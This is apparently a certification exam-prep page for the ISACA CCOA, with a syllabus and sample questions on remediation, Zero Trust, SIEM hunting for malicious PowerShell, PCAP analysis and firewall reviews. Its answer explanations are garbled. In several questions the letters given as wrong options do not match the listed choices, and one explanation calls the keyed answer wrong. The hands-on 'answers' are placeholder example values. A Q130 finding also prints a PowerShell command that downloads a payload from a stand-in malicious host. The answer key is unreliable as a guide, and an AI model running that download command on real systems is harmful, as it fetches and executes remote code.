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ISACA CCOA Exam Syllabus Topics:

Topic
Details

Topic 1

Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.

Topic 2

Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.

Topic 3

Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.

Topic 4

Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.

Topic 5

Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.

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ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q128-Q133):

NEW QUESTION # 128
After identified weaknesses have been remediated, which of the following should be completed NEXT?

A. Perform software code testing.
B. Perform a software quality assurance (QA) activity.
C. Move the fixed system directly to production.
D. Perform a validation scan before moving to production.

Answer: D

Explanation:
After remediation of identified weaknesses, thenext step is to perform a validation scanto ensure that the fixes were successful and no new vulnerabilities were introduced.
* Purpose:Confirm that vulnerabilities have been properly addressed.
* Verification:Uses automated tools or manual testing to recheck the patched systems.
* Risk Management:Prevents reintroducing vulnerabilities into the production environment.
Incorrect Options:
* B. Software code testing:Typically performed during development, not after remediation.
* C. Software quality assurance (QA) activity:Focuses on functionality, not security validation.
* D. Moving directly to production:Risks deploying unvalidated fixes.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Post-Remediation Activities," Subsection "Validation Scans" - Validating fixes ensures security before moving to production.

NEW QUESTION # 129
An organization continuously monitors enforcement of the least privilege principle and requires users and devices to re-authenticate at multiple levels of a system. Which type of security model has been adopted?

A. Layered security model
B. Defense-in-depth model
C. Zero Trust model
D. Security-in-depth model

Answer: C

Explanation:
TheZero Trust modelenforces the principle ofnever trust, always verifyby requiring continuous authentication and strict access controls, even within the network.
* Continuous Authentication:Users and devices must consistently prove their identity.
* Least Privilege:Access is granted only when necessary and only for the specific task.
* Micro-Segmentation:Limits the potential impact of a compromise.
* Monitoring and Validation:Continually checks user behavior and device integrity.
Incorrect Options:
* A. Security-in-depth model:Not a formal model; more of a general approach.
* B. Layered security model:Combines multiple security measures, but not as dynamic as Zero Trust.
* D. Defense-in-depth model:Uses multiple security layers but lacks continuous authentication and verification.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Zero Trust Security," Subsection "Principles of Zero Trust" - The Zero Trust model continuously authenticates and limits access to minimize risks.

NEW QUESTION # 130
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?

Answer:

Explanation:
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

NEW QUESTION # 131
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the full User-Agent value associated with theransomware demand file download. Enter your responsein the field below.

Answer:

Explanation:
See the solution in Explanation.
Explanation:
To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom the ransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
* Log into the Analyst Desktop.
* Navigate to theInvestigationsfolder located on the desktop.
* Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
* LaunchWireshark.
* Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
* ClickOpento load the file.
Step 3: Filter HTTP Traffic
Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:
http.request or http.response
* This filter will show bothHTTP GETandPOSTrequests.
Step 4: Locate the Ransomware Demand File Download
* Look for HTTPGETrequests that include common ransomware filenames such as:
* README.txt
* DECRYPT_INSTRUCTIONS.html
* HELP_DECRYPT.txt
* Right-click on the suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
* Analyze theHTTP headersto find theUser-Agent.
Example HTTP Request:
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Step 5: Verify the User-Agent
* Check multiple streams to ensure consistency.
* Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.
swift
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.
0.5414.75 Safari/537.36
Step 6: Document and Report
* Record the User-Agent for analysis:
* PCAP Filename:ransom.pcap
* User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
* Related File:README.txt
Step 7: Next Steps
* Forensic Analysis:
* Look for more HTTP requests from the sameUser-Agent.
* Monitor Network Activity:
* Identify other systems with the same User-Agent pattern.
* Block Malicious Traffic:
* Update firewall rules to block any outbound connections to suspicious domains.

NEW QUESTION # 132
Which of (he following is the PRIMARY reason to regularly review firewall rules?

A. To identify and allow blocked traffic that should be permitted
B. To ensure the rules remain in the correct order
C. To correct mistakes made by other firewall administrators
D. To identify and remove rules that are no longer needed

Answer: D

Explanation:
Regularly reviewing firewall rules ensures that outdated, redundant, or overly permissive rules are identified and removed.
* Reduced Attack Surface:Unnecessary or outdated rules may open attack vectors.
* Compliance and Policy Adherence:Ensures that only authorized communication paths are maintained.
* Performance Optimization:Reducing rule clutter improves processing efficiency.
* Minimizing Misconfigurations:Prevents rule conflicts or overlaps that could compromise security.
Incorrect Options:
* B. Identifying blocked traffic to permit:The review's primary goal is not to enable traffic but to reduce unnecessary rules.
* C. Ensuring correct rule order:While important, this is secondary to identifying obsolete rules.
* D. Correcting administrator mistakes:Though helpful, this is not the main purpose of regular reviews.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Firewall Management," Subsection "Rule Review Process" - The primary reason for reviewing firewall rules regularly is to eliminate rules that are no longer necessary.

NEW QUESTION # 133
......

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